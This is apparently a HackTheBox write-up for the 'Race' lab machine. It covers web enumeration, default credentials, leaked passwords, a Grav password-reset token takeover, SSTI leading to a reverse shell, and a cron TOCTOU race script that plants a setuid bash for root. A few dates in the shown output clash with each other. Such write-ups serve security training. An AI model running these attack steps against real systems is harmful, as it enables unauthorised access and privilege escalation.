Race

📅 Last Updated: Oct 04, 2025 07:45 | 📄 Size: 25.1 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Hard | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Race]
└─$ nmap -sC -sV -Pn 10.129.234.209 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-29 15:42 UTC
Nmap scan report for 10.129.234.209
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:b0:1e:c5:e8:81:5c:94:39:ed:37:7e:21:cf:b1:a8 (ECDSA)
|_  256 37:a3:d3:cd:35:dc:cc:d8:db:3c:c3:4d:ad:22:29:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.95 seconds

Page check

From the racers page, I did not find any links or urls. So I would continue to enumerate the valid web-contents

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Race]
└─$ ffuf -u http://10.129.234.209/racers/FUZZ -w /usr/share/wordlists/dirb/common.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.234.209/racers/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.hta                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 369ms]
.htpasswd               [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 369ms]
.htaccess               [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 369ms]
                        [Status: 200, Size: 11411, Words: 1907, Lines: 141, Duration: 369ms]
admin                   [Status: 200, Size: 11357, Words: 3945, Lines: 129, Duration: 356ms]
assets                  [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 266ms]
backup                  [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 290ms]
bin                     [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 265ms]
cache                   [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 266ms]
cgi-bin/                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 268ms]
forgot_password         [Status: 200, Size: 8516, Words: 1799, Lines: 145, Duration: 1032ms]
home                    [Status: 200, Size: 11411, Words: 1907, Lines: 141, Duration: 307ms]
images                  [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 270ms]
login                   [Status: 200, Size: 10406, Words: 2918, Lines: 181, Duration: 815ms]
logs                    [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 294ms]
robots.txt              [Status: 200, Size: 379, Words: 22, Lines: 22, Duration: 272ms]
system                  [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 269ms]
tmp                     [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 267ms]
user                    [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 343ms]
vendor                  [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 311ms]
:: Progress: [4614/4614] :: Job [1/1] :: 51 req/sec :: Duration: [0:01:32] :: Errors: 0 ::

I would start with robots.txt

User-agent: *
Disallow: /.github/
Disallow: /.phan/
Disallow: /assets/
Disallow: /backup/
Disallow: /bin/
Disallow: /cache/
Disallow: /logs/
Disallow: /system/
Disallow: /tests/
Disallow: /tmp/
Disallow: /user/
Disallow: /vendor/
Disallow: /webserver-configs/
Allow: /user/pages/
Allow: /user/themes/
Allow: /user/images/
Allow: /
Allow: *.css$
Allow: *.js$
Allow: /system/*.js$

Then I would check the /adminand /login I would try the default credit admin:admin, but it does not worked here.

After check other valid web contents, I did not find any path to access. So I guess there maybe something interesting from the root directory?

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Race]
└─$ ffuf -u http://10.129.234.209/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.234.209/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

server-status           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 265ms]
phpsysinfo              [Status: 401, Size: 461, Words: 42, Lines: 15, Duration: 267ms]

phpsysinfo

When I visit the http://10.129.234.209/phpsysinfo, it will need a credit to access. I still try the default credit admin:admin, it worked here. Then we can find something interesting from the process list below That seems like a ssh credit backup:Wedobackupswithsecur3password5.Noonecanhackus!

But it not worked here

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Race]
└─$ netexec ssh 10.129.234.209 -u backup -p Wedobackupswithsecur3password5.Noonecanhackus!
SSH         10.129.234.209  22     10.129.234.209   [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.129.234.209  22     10.129.234.209   [-] backup:Wedobackupswithsecur3password5.Noonecanhackus!

So come back to the /racers/admin, there is a commit from this page said **Note:** Password length is 32 chars or longer to prevent online and offline brute-force attacks

The password we have got is actually 32 chars. Use that credit, we successfully get access to backup account

From the Toolslabel, we can backup the directory of entire site, but some files and directory will not be included

The directory looks like

┌──(wither㉿localhost)-[~/…/htb-labs/Hard/Race/backup]
└─$ ls
CHANGELOG.md        LICENSE.txt  assets  cache          default_site_backup--20250929135056.zip  logs        system  vendor
CODE_OF_CONDUCT.md  README.md    backup  composer.json  images                                   now.json    tmp     webserver-configs
CONTRIBUTING.md     SECURITY.md  bin     composer.lock  index.php                                robots.txt  user

And it looks like similar with the repo of Grav The newest version is 1.7.49.5.

From system/defins.php

<?php

/**
 * @package    Grav\Core
 *
 * @copyright  Copyright (c) 2015 - 2023 Trilby Media, LLC. All rights reserved.
 * @license    MIT License; see LICENSE file for details.
 */

// Some standard defines
define('GRAV', true);
define('GRAV_VERSION', '1.7.43');
define('GRAV_SCHEMA', '1.7.0_2020-11-20_1');
define('GRAV_TESTING', false);

We can find the version is 1.7.43, and we can find some exploits with this version

CVE-2024-28116 - SSTI leading to RCE in versions up to 1.7.45.
CVE-2025-50286 - This doesn’t have a version range, This has to do with the ability to upload a malicious plugin and get RCE. For Race, we don't have access to this.

To exploit this vulnerable, we need to get an authenticated user.

As backup, we can't build HTML and other documents, so let's try to find the other account from the backup files. Grav stores data in files. The user information is in user/accounts:

┌──(wither㉿localhost)-[~/…/Race/backup/user/accounts]
└─$ ls
admin.yaml  backup.yaml  patrick.yaml

Let's check patrick.yaml and admin.yaml

┌──(wither㉿localhost)-[~/…/Race/backup/user/accounts]
└─$ cat patrick.yaml                                   
state: enabled
email: patrick@race.vl
fullname: 'Patrick P. Rick'
language: en
content_editor: default
twofa_enabled: false
twofa_secret: LW35AG7V4U4NLOBVU5P6NG35GP5YWJKT
avatar: {  }
hashed_password: $2y$10$TWyPZQDqMZJJ/0pLdWUbY.TxVKVMHP3LzfUTo3BYWFRID7uXaoXcC
reset: '553e7719d2674ae2bfb29eb0aaa806d0::1701718773'
access:
  site:
    login: true
  admin:
    login: true
    super: false
    cache: false
    configuration:
      system: true
      site: true
      media: false
      security: false
      info: false
      pages: false
      users: false
    pages: true
    maintenance: true
    themes: true
    
┌──(wither㉿localhost)-[~/…/Race/backup/user/accounts]
└─$ cat admin.yaml    
state: enabled
email: admin@race.vl
fullname: 'Admin I. Strator'
title: Administrator
access:
  admin:
    login: true
    super: true
  site:
    login: true
hashed_password: $2y$10$/e6nnqGJ6un4X6wKPpyeNecHf8wyZ.G//0Q7XhLLuQ15v7sEzKVzS
                                                                             

There’s not much sense in trying to crack the passwords because we have already seen the policy requires 32 characters.

Searching for /forget in the code shows a few places:

┌──(wither㉿localhost)-[~/…/htb-labs/Hard/Race/backup]
└─$ grep -r '/forgot'
user/plugins/login/login.yaml:route_forgot: '/forgot_password'            # Route for the forgot password process
user/plugins/login/templates/forgot.html.twig:    {% include 'partials/forgot-form.html.twig' %}
user/plugins/login/login.php:            $this->login->getRoute('forgot') ?: '/forgot_password',
user/plugins/login/README.md:route_forgot: '/forgot_password'            # Route for the forgot password process
user/plugins/login/blueprints.yaml:              placeholder: "/forgot_password"
user/plugins/admin/themes/grav/templates/partials/login-form.html.twig:        <a class="button secondary" href="{​{ admin_route('/forgot') }​}"><i class="fa fa-exclamation-circle"></i> {​{ 'PLUGIN_ADMIN.LOGIN_BTN_FORGOT'|t }​}</a>
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php:            return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php:                    return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php:        return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php:            return $this->createRedirectResponse('/forgot');

user/plugins/admin/classes/plugin/Controllers/Login/LoginController.phpseems very interesting, let's review its source code

┌──(wither㉿localhost)-[~/…/htb-labs/Hard/Race/backup]
└─$ grep 'function' user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php
    public function displayLogin(): ResponseInterface
    public function displayForgot(): ResponseInterface
    public function displayReset(string $username = null, string $token = null): ResponseInterface
    public function displayRegister(): ResponseInterface
    public function displayUnauthorized(): ResponseInterface
    public function taskLogin(): ResponseInterface
    public function taskLogout(): ResponseInterface
    public function taskTwofa(): ResponseInterface
    public function taskReset(string $username = null, string $token = null): ResponseInterface
    public function taskForgot(): ResponseInterface
    public function taskRegister(): ResponseInterface
    protected function is2FA(UserInterface $user): bool
    protected function getFormSubmitMethod(string $name): callable
                return static function(array $data, array $files) {};
                return function(array $data, array $files) {
    private function doRegistration(array $data, array $files): void
    private function getLogin(): Login
    private function getEmail(): Email
    private function getAccounts(): UserCollectionInterface

taskset receives the reset string and compares it to the content in the YAML file. It does some initialization and then checks whether the passed user exists and that the reset value for that user is not empty.

/**
     * Handle the reset password action.
     *
     * @param string|null $username
     * @param string|null $token
     * @return ResponseInterface
     */
    public function taskReset(string $username = null, string $token = null): ResponseInterface
    {
...[snip]...
        $users = $this->getAccounts();

        $username = $username ?? $data['username'] ?? null;
        $token = $token ?? $data['token'] ?? null;

        $user = $username ? $users->load($username) : null;
        $password = $data['password'];

        if ($user && $user->exists() && !empty($user->get('reset'))) {
...[snip]...

If there is a token, it will split it at "::", save the first part as the token itself, and the second part as the expiration time. If the submitted token matches the loaded token and the expiration time has not exceeded, the password is reset:

...[snip]...
            [$good_token, $expire] = explode('::', $user->get('reset'));

            if ($good_token === $token) {
                if (time() > $expire) {
                    $this->setMessage($this->translate('PLUGIN_ADMIN.RESET_LINK_EXPIRED'), 'error');

                    $this->form->reset();

                    return $this->createRedirectResponse('/forgot');
                }

                // Set new password.
                $login = $this->getLogin();
                try {
                    $login->validateField('password1', $password);
                } catch (\RuntimeException $e) {
                    $this->setMessage($this->translate($e->getMessage()), 'error');

                    return $this->createRedirectResponse("/reset/u/{$username}/{$token}");
                }

                $user->undef('hashed_password');
                $user->undef('reset');
                $user->update(['password' => $password]);
                $user->save();

                $this->form->reset();

                $this->setMessage($this->translate('PLUGIN_ADMIN.RESET_PASSWORD_RESET'));

                return $this->createRedirectResponse('/login');
            }

            Admin::DEBUG && Admin::addDebugMessage(sprintf('Failed to reset password: Token %s is not good', $token));
        } else {
            Admin::DEBUG && Admin::addDebugMessage(sprintf('Failed to reset password: User %s does not exist or has not requested reset', $username));
        }

        $this->setMessage($this->translate('PLUGIN_ADMIN.RESET_INVALID_LINK'), 'error');

        $this->form->reset();

        return $this->createRedirectResponse('/forgot');
    }    

This code handles the submission of the token. In the same file, I found the taskForgot function, which is responsible for sending an email containing the token to the user:

 /**
     * Handle the email password recovery procedure.
     *
     * Sends email to the user.
     *
     * @return ResponseInterface
     */
    public function taskForgot(): ResponseInterface
    {
            /**
     * Handle the email password recovery procedure.
     *
     * Sends email to the user.
     *
     * @return ResponseInterface
     */
    public function taskForgot(): ResponseInterface
    {
...[snip]...

The token is a random MD5, one hour after it was created:

 $token  = md5(uniqid(mt_rand(), true));
 $expire = time() + 3600; // 1 hour

It then creates the $reset_link :

// Do not trust username from the request.
$fullname = $user->fullname ?: $username;
$author = $config->get('site.author.name', '');
$sitename = $config->get('site.title', 'Website');
$reset_link = $this->getAbsoluteAdminUrl("/reset/u/{$username}/{$token}");

Our timestamp of our backup is from 2017, so we need to send the forget email firstly and then download the new backup file to check the forget link.

Then the new yaml file would be

state: enabled
email: patrick@race.vl
fullname: 'Patrick P. Rick'
language: en
content_editor: default
twofa_enabled: false
twofa_secret: LW35AG7V4U4NLOBVU5P6NG35GP5YWJKT
avatar: {  }
hashed_password: $2y$10$TWyPZQDqMZJJ/0pLdWUbY.TxVKVMHP3LzfUTo3BYWFRID7uXaoXcC
reset: 'a99f4e81f649478bb64373e16263ec2d::1759159108'
access:
  site:
    login: true
  admin:
    login: true
    super: false
    cache: false
    configuration:
      system: true
      site: true
      media: false
      security: false
      info: false
      pages: false
      users: false
    pages: true
    maintenance: true
    themes: true

So the reset link would be /racers/admin/reset/u/patrick/a99f4e81f649478bb64373e16263ec2d But we also need to make sure the new password is 32 chars, so I would continue to use the password of backup patrick:Wedobackupswithsecur3password5.Noonecanhackus! Then we can access to account patrick

Come to Pagespage, we can set the content to the POC: Then check the home page, you would find the feedback of id

Now I would change the page into a reverse shell

Then you can get the reverse shell as www-data

┌──(wither㉿localhost)-[~/…/htb-labs/Hard/Race/backup]
└─$ nc -lnvp 443                                                                          
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.129.234.209] 60218
bash: cannot set terminal process group (1208): Inappropriate ioctl for device
bash: no job control in this shell
www-data@race:/var/www/html/racers$ whoami
whoami
www-data
www-data@race:/var/www/html/racers$ 

I would upgrade this shell here.

upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg

Switch to max

There are two accounts from /home

www-data@race:/var/www/html/racers$ ls /home
max  patrick

Both home directories are world readable.

www-data@race:/var/www/html/racers$ ls -al /home
total 16
drwxr-xr-x  4 root    root    4096 Dec  3  2023 .
drwxr-xr-x 19 root    root    4096 Aug 27 10:47 ..
drwxr-xr-x  5 max     max     4096 Dec  9  2023 max
drwxr-xr-x  5 patrick patrick 4096 Aug 26 23:05 patrick

www-data@race:/home/max$ ls
bin  race-scripts  user.txt
www-data@race:/home/max$ ls ../patrick/

The directory of patrickis empty, but max would be next target.

www-data@race:/home/max$ ls -al
total 36
drwxr-xr-x 5 max  max  4096 Dec  9  2023 .
drwxr-xr-x 4 root root 4096 Dec  3  2023 ..
lrwxrwxrwx 1 root root    9 Dec  3  2023 .bash_history -> /dev/null
-rw-r--r-- 1 max  max   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 max  max  3771 Jan  6  2022 .bashrc
drwx------ 2 max  max  4096 Dec  3  2023 .cache
drwxrwxr-x 3 max  max  4096 Dec  9  2023 .local
-rw-r--r-- 1 max  max   807 Jan  6  2022 .profile
drwxrwxr-x 2 max  max  4096 Dec  4  2023 bin
lrwxrwxrwx 1 max  max    29 Dec  9  2023 race-scripts -> /usr/local/share/race-scripts
-rw-r----- 1 root max    33 Sep 29 05:41 user.txt

From /usr/local/share/race-scripts/offsite-backup.sh, we can find the credit of max

www-data@race:/usr/local/share/race-scripts/backup$ cat offsite-backup.sh 
#!/usr/bin/bash

OFFSITE_HOST="offsite-backup.race.vl"
SOURCE_DIR="/var/www/html/racers/backup/"
# Disabled USER/PASS for security reasons. Will be provided via environment from cron.
# OFFSITE_USER="max"
# OFFSITE_PASS="ruxai0GaemaS1Rah"
/usr/bin/curl --insecure --connect-timeout 60 -u $OFFSITE_USER:$OFFSITE_PASS -T $SOURCE_DIR sftp://$OFFSITE_HOST/backups/

We can just use su maxto switch the account

www-data@race:/usr/local/share/race-scripts/backup$ su max
Password: 
max@race:/usr/local/share/race-scripts/backup$ 

Privilege escalation

Firstly, I would check sudo -l

max@race:~$ sudo -l 
[sudo] password for max: 
Sorry, user max may not run sudo on race.

There seems nothing interesting here, but max has an interesting group id

max@race:~$ id
uid=1001(max) gid=1001(max) groups=1001(max),1002(racers)
max@race:~$ find / -group racers 2>/dev/null
/usr/local/share/race-scripts
/usr/local/share/race-scripts/backup
/usr/local/share/race-scripts/backup/offsite-backup.sh

Now I would continue to upload pspyto help us to check the process background

2025/09/29 14:48:58 CMD: UID=0    PID=15367  | /usr/bin/bash /usr/local/share/race-scripts/offsite-backup.sh 
2025/09/29 14:48:58 CMD: UID=0    PID=15363  | /usr/bin/bash /usr/local/bin/secure-cron-runner.sh 
2025/09/29 14:48:58 CMD: UID=0    PID=15362  | /bin/sh -c /usr/local/bin/secure-cron-runner.sh >/dev/null 2>/dev/null 
2025/09/29 14:48:58 CMD: UID=0    PID=15361  | /usr/sbin/CRON -f -P 

secure-cron-runner.sh is pretty straight and easy

#!/usr/bin/bash

## If scripts need environment variables put them into below file
## so that no one can see them.
. /root/conf/secure-cron-runner.env

declare -a scripts
declare -a sigs

## 0 = offsite-backup by max
scripts[0]="/usr/local/share/race-scripts/offsite-backup.sh"
sigs[0]="d15804b944b40ca8540d37ed6bd80906"
## add other scripts below
# scripts[1]="<path-to-script>"
# sigs[1]="<md5sum>"
# scripts[2]="<path-to-script>"
# sigs[2]="<md5sum>"

elems=${#scripts[@]}

for (( j=0; j<${elems}; j++ )) ; do
  sig=$(/usr/bin/md5sum ${scripts[$j]} | awk '{print $1}')
  if [[ "x$sig" == "x${sigs[$j]}" ]] ; then
    # echo "Script is safe. Running it." >> /var/log/secure-cron-runner.log
    ${scripts[$j]}
  else
    # echo "Script is not safe. Skipping it. Please contact patrick to update signature." >> /var/log/secure-cron-runner.log
    :
  fi
done

It hard code the MD5 hash of the script and checks it before running it. If it doesn't match, it won't run and will log an error instead.

Between the checksum check and script execution, it has time difference to change the offsite-backup.sh Although we can't modify offsite-backup.sh directly above, the racers group has been granted write permissions to the directory, so we can delete the script.

max@race:/usr/local/share/race-scripts$ rm offsite-backup.sh 
rm: remove write-protected regular file 'offsite-backup.sh'? y
max@race:/usr/local/share/race-scripts$ cp backup/offsite-backup.sh .
max@race:/usr/local/share/race-scripts$ ls -la
total 16
drwxrwsr-x 3 root racers 4096 Dec 29 12:48 .
drwxr-xr-x 6 root root   4096 Dec  4 17:10 ..
drwxr-sr-x 2 root racers 4096 Dec  9 16:48 backup
-rwxr-xr-x 1 max  racers  361 Dec 29 12:48 offsite-backup.sh

We can write a simple bash script to check if the cron job is starting and quickly add some code to the script

#!/bin/bash

current_pid=$(ps aux | grep CRON | grep -v grep | awk '{print $2}')
echo "Current pid is $current_pid" 

while true; do
    if ps aux | grep 'CRON' | grep -v $current_pid | grep -v 'grep'; then
        echo "cp /bin/bash /tmp/wither" >> /usr/local/share/race-scripts/offsite-backup.sh
        echo "chmod u+s /tmp/wither" >> /usr/local/share/race-scripts/offsite-backup.sh
        echo "DONE!"
        break;
    fi
done

Then we can get the root shell, sometimes it would not worked, please try more times

max@race:/usr/local/share/race-scripts$ bash ~/shell.sh 
Current pid is 8516
root       11966  0.0  0.1  10340  4024 ?        S    15:19   0:00 /usr/sbin/CRON -f -P
DONE!
max@race:/usr/local/share/race-scripts$ ls /tmp
snap-private-tmp                                                                  systemd-private-c6fd8a5d286a49da901fcc9af4727124-systemd-timedated.service-CESm0H
systemd-private-c6fd8a5d286a49da901fcc9af4727124-apache2.service-NCBtG2           systemd-private-c6fd8a5d286a49da901fcc9af4727124-systemd-timesyncd.service-Mfi2bn
systemd-private-c6fd8a5d286a49da901fcc9af4727124-ModemManager.service-YpTGYk      vmware-root_817-4281646601
systemd-private-c6fd8a5d286a49da901fcc9af4727124-systemd-logind.service-6SE4FX    wither
systemd-private-c6fd8a5d286a49da901fcc9af4727124-systemd-resolved.service-5b6mKI
max@race:/usr/local/share/race-scripts$ /tmp/wither -p
wither-5.1# id
uid=1001(max) gid=1001(max) euid=0(root) groups=1001(max),1002(racers)

Description

Overall, the use of the foothold is very interesting, especially the use of the forgotten password link is really unexpected. Without a certain reading of the code, it is difficult to guess that the email to change the password will be resent.